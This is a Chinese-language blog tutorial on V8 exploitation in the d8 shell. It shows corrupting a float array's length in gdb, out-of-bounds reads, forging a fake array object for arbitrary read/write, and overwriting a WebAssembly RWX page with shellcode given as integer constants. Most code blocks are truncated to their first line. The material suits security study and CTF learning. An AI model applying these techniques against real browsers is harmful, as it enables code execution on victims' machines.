V8 学习笔记 0x02
回顾
在上一篇中,了解到浮点数,对象都储存在同一块区域
1 | struct array { |
并且,elements 与 array 相邻。
设想
若是可以通过其他漏洞,使得 array 的 length 字段变大,就能进行溢出读写,进而得到任意地址读写吧
实践
准备
首先先定义俩变量,用于后续的操作
1 | x = [1.5, 0, 0, 0, 5.0, 6.0, 7.0, 8.0, 9.0, 10.0, 11.0, 12.0, 13.0, 14.0, 15.0, 16.0]; |
一个是浮点数数组,一个是对象数组
修改 length
打印 x 的信息再加上断点,通过 gdb 手动修改内存,即 x 的 length 值
1 | %DebugPrint(x); |
得到回显,获得 x 的地址 0x3f6e6bd15fc8 (0x3f6e6bd15fc9-1)
1 | DebugPrint: 0x3f6e6bd15fc9: [JSArray] |
然后用 tel 指令查看内存
1 | pwndbg> tel 0x3f6e6bd15fc8 |
定位到 0x3f6e6bd15fe0 ,这就是 length 对应的地址,使用 gdb 的 set 命令修改值并验证
1 | pwndbg> set {int}0x3f6e6bd15fe4=0x20 |
可以看到,length 被修改成了 32。
越界读
先申请一块 Buffer 然后再获得 view,得到读取写入的功能,然后通过 view 的各种 set 和 get 就能实现数值类型转换
1 | let buf = new ArrayBuffer(8); |
这样就成功读出了 x[16],也就是 x 的 map 字段(double map 对应的值)
用同样的方法,读取 x 的 elements 字段的值
伪造 double array
1 | view.setBigUint64(0, 0x200000000n, true); |
x[0]~x[3] 构成了一个 fake array object ,其中 properties 字段为 0
获取 fake array object
1 | view.setBigUint64(0, element+0x10n, true); |
通过越界写,修改 y[0] , 也就是修改 y 的 elements 的第一个值,然后通过 y[0] 获取伪造的对象
任意读写
成功获取了一个可以任意修改字段的 array 对象,然后可以通过修改其中的 elements 字段来达到任意地址写,将这个过程封装为函数
1 | function readval(addr) { |
执行流劫持
在有了 AAR 和 AAW 后,就应该想着劫持执行流了
如果是 glibc 低版本,或许可以试着用 free_hook 什么的,但是高版本我们也知道,无法这样劫持执行流了,这里介绍另一种部分,javascript 支持注入 wasm 代码。
WebAssembly (Wasm) 是一种二进制指令格式,旨在作为一种可移植的编译目标,用于在现代 Web 浏览器中运行高性能的应用程序。
在生成 wasm 时,d8 会申请一个可读可写可执行的段,把 wasm 字节码覆写成 shellcode 就能劫持执行流了,下面就是 wasm 代码注入示例
1 | var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); |
可以通过查看 wasmInstance 的 trusted_data 字段、 trusted_data 的 jump_table_start 字段得到可读可写可执行段的地址,然后通过任意地址写来覆盖 wasm 为 shellcode 。
1 | let sc = [5188146770760222536n, 10180386957671122887n, 14035265928560645429n, 14359732973853474822n, 18388557918367661248n, 2409263538477991183n, 10416984888683040768n] |
最后再调用 f ,也就是 wasm 代码,就能运行刚才写的 shellcode 了。
特别鸣谢
在这里特别感谢 NepNep 战队的 sysNow 师傅。
在写完 php 那篇文章后,sysNow 师傅正好给我发了一篇 V8 的文章,我刚好也趁着这个机会学习一下 V8 ,遇到不明白的也感谢 sysNow 师傅给我解答。
- Title: V8 学习笔记 0x02
- Author: Findkey
- Created at : 2026-04-27 14:25:00
- Updated at : 2026-04-27 14:36:24
- Link: https://find-key.github.io/2026/04/27/v8-learn-2/
- License: This work is licensed under CC BY-NC-SA 4.0.